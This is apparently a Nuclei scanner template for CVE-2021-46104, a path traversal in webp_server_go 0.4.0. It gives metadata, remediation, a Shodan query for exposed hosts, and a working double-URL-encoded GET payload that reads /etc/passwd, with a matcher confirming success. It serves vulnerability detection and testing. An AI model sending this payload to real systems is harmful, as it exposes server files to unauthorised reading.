webp_server_go 0.4.0 - Path Traversal

id: CVE-2021-46104

info:
  name: webp_server_go 0.4.0 - Path Traversal
  author: pikpikcu
  severity: high
  description: |
    webp_server_go 0.4.0 contains a path traversal caused by insufficient sanitization in file handling, letting attackers read arbitrary files on the server, exploit requires attacker to send crafted requests.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server including /etc/passwd via path traversal using double URL encoding.
  remediation: |
    Upgrade to webp_server_go version 0.4.1 or later that properly sanitizes file paths.
  reference:
    - https://github.com/webp-sh/webp_server_go/issues/92
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-46104
    cwe-id: CWE-22
    epss-score: 0.04231
    epss-percentile: 0.89984
    cpe: cpe:2.3:a:webp:webp_server_go:0.4.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: webp
    product: webp_server_go
    shodan-query: http.html:"Webp"
  tags: cve,cve2021,lfi,webp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0"

      - type: status
        status:
          - 200
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